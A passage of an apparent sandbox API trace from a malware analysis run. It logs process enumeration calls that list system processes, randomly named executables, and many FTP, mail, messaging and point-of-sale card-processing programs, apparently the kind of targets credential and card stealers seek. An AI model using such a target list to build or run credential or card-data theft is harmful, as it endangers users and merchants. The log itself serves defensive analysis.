lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0043.698] lstrlenW (lpString="spoolsv.exe") returned 11 [0043.698] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0043.698] lstrlenW (lpString="taskhost.exe") returned 12 [0043.698] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.699] lstrlenW (lpString="svchost.exe") returned 11 [0043.699] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0043.699] lstrlenW (lpString="taskeng.exe") returned 11 [0043.699] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0043.700] lstrlenW (lpString="judges-present.exe") returned 18 [0043.700] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0043.700] lstrlenW (lpString="physics.exe") returned 11 [0043.700] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0043.700] lstrlenW (lpString="belongs.exe") returned 11 [0043.700] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0043.701] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0043.701] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0043.701] lstrlenW (lpString="gadgets.exe") returned 11 [0043.701] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0043.701] lstrlenW (lpString="geneva.exe") returned 10 [0043.701] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0043.702] lstrlenW (lpString="elephant.exe") returned 12 [0043.702] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0043.702] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0043.702] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0043.703] lstrlenW (lpString="roger-venice.exe") returned 16 [0043.703] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0043.703] lstrlenW (lpString="cite.exe") returned 8 [0043.703] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0043.703] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0043.703] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0043.704] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0043.704] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0043.704] lstrlenW (lpString="artist_selecting.exe") returned 20 [0043.704] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0043.705] lstrlenW (lpString="poems.exe") returned 9 [0043.705] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0043.705] lstrlenW (lpString="bow.exe") returned 7 [0043.705] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0043.705] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0043.705] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0043.706] lstrlenW (lpString="businesses.exe") returned 14 [0043.706] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0043.706] lstrlenW (lpString="lucky.exe") returned 9 [0043.706] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0043.706] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0043.706] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0043.707] lstrlenW (lpString="healthmanner.exe") returned 16 [0043.707] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0043.707] lstrlenW (lpString="3dftp.exe") returned 9 [0043.707] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0043.707] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0043.708] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0043.708] lstrlenW (lpString="alftp.exe") returned 9 [0043.708] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0043.708] lstrlenW (lpString="barca.exe") returned 9 [0043.708] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0043.709] lstrlenW (lpString="bitkinex.exe") returned 12 [0043.709] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0043.709] lstrlenW (lpString="coreftp.exe") returned 11 [0043.709] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0043.709] lstrlenW (lpString="far.exe") returned 7 [0043.709] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0043.710] lstrlenW (lpString="filezilla.exe") returned 13 [0043.710] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0043.710] lstrlenW (lpString="flashfxp.exe") returned 12 [0043.710] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0043.710] lstrlenW (lpString="fling.exe") returned 9 [0043.710] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0043.711] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0043.711] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0043.870] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0043.870] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0043.871] lstrlenW (lpString="icq.exe") returned 7 [0043.871] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0043.872] lstrlenW (lpString="leechftp.exe") returned 12 [0043.872] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0043.881] lstrlenW (lpString="ncftp.exe") returned 9 [0043.881] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0043.886] lstrlenW (lpString="notepad.exe") returned 11 [0043.886] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0043.889] lstrlenW (lpString="operamail.exe") returned 13 [0043.890] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0043.894] lstrlenW (lpString="pidgin.exe") returned 10 [0043.894] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0043.896] lstrlenW (lpString="scriptftp.exe") returned 13 [0043.896] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0043.897] lstrlenW (lpString="skype.exe") returned 9 [0043.897] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0043.897] lstrlenW (lpString="smartftp.exe") returned 12 [0043.897] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0043.898] lstrlenW (lpString="thunderbird.exe") returned 15 [0043.898] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0043.899] lstrlenW (lpString="totalcmd.exe") returned 12 [0043.899] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0043.899] lstrlenW (lpString="trillian.exe") returned 12 [0043.899] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0043.900] lstrlenW (lpString="webdrive.exe") returned 12 [0043.900] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0043.900] lstrlenW (lpString="whatsapp.exe") returned 12 [0043.900] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0043.901] lstrlenW (lpString="winscp.exe") returned 10 [0043.901] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0043.901] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0043.901] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0043.902] lstrlenW (lpString="active-charge.exe") returned 17 [0043.902] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0043.902] lstrlenW (lpString="accupos.exe") returned 11 [0043.902] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0043.903] lstrlenW (lpString="afr38.exe") returned 9 [0043.903] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0043.903] lstrlenW (lpString="aldelo.exe") returned 10 [0043.903] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0043.904] lstrlenW (lpString="ccv_server.exe") returned 14 [0043.904] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0043.904] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0043.904] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0043.905] lstrlenW (lpString="creditservice.exe") returned 17 [0043.905] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0043.906] lstrlenW (lpString="edcsvr.exe") returned 10 [0043.906] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0043.906] lstrlenW (lpString="fpos.exe") returned 8 [0043.906] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0043.906] lstrlenW (lpString="isspos.exe") returned 10 [0043.907] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0043.907] lstrlenW (lpString="mxslipstream.exe") returned 16 [0043.907] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0043.907] lstrlenW (lpString="omnipos.exe") returned 11 [0043.908] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0043.908] lstrlenW (lpString="spcwin.exe") returned 10 [0043.908] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0043.908] lstrlenW (lpString="spgagentservice.exe") returned 19 [0043.908] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0043.909] lstrlenW (lpString="utg2.exe") returned 8 [0043.909] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0043.909] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0043.909] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0043.910] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0043.910] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0043.910] lstrlenW (lpString="notebook.exe") returned 12 [0043.910] Process32NextW (in: hSnapshot=0x18c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 